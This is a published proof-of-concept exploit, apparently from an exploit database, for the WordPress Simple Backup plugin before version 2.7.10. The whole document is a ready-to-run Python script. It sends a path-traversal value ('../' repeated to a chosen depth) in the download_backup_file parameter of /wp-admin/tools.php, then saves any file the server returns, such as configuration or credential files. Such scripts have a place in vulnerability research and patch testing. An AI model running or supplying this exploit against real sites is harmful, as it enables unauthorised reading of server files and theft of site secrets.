Simple Backup Plugin Python Exploit 2.7.10 - Path Traversal

# Exploit Title: Simple Backup Plugin < 2.7.10 - Arbitrary File Download via Path Traversal
# Date: 2024-03-06
# Exploit Author: Ven3xy
# Software Link: https://downloads.wordpress.org/plugin/simple-backup.2.7.11.zip
# Version: 2.7.10
# Tested on: Linux

import sys
import requests
from urllib.parse import urljoin
import time

def exploit(target_url, file_name, depth):
    traversal = '../' * depth

    exploit_url = urljoin(target_url, '/wp-admin/tools.php')
    params = {
        'page': 'backup_manager',
        'download_backup_file': f'{traversal}{file_name}'
    }

    response = requests.get(exploit_url, params=params)

    if response.status_code == 200 and response.headers.get('Content-Disposition') \
            and 'attachment; filename' in response.headers['Content-Disposition'] \
            and response.headers.get('Content-Length') and int(response.headers['Content-Length']) > 0:
        print(response.text)  # Replace with the desired action for the downloaded content

        file_path = f'simplebackup_{file_name}'
        with open(file_path, 'wb') as file:
            file.write(response.content)

        print(f'File saved in: {file_path}')
    else:
        print("Nothing was downloaded. You can try to change the depth parameter or verify the correct filename.")

if __name__ == "__main__":
    if len(sys.argv) != 4:
        print("Usage: python exploit.py <target_url> <file_name> <depth>")
        sys.exit(1)

    target_url = sys.argv[1]
    file_name = sys.argv[2]
    depth = int(sys.argv[3])
    print("\n[+] Exploit Coded By - Venexy    ||    Simple Backup Plugin 2.7.10  EXPLOIT\n\n")
    time.sleep(5)


    exploit(target_url, file_name, depth)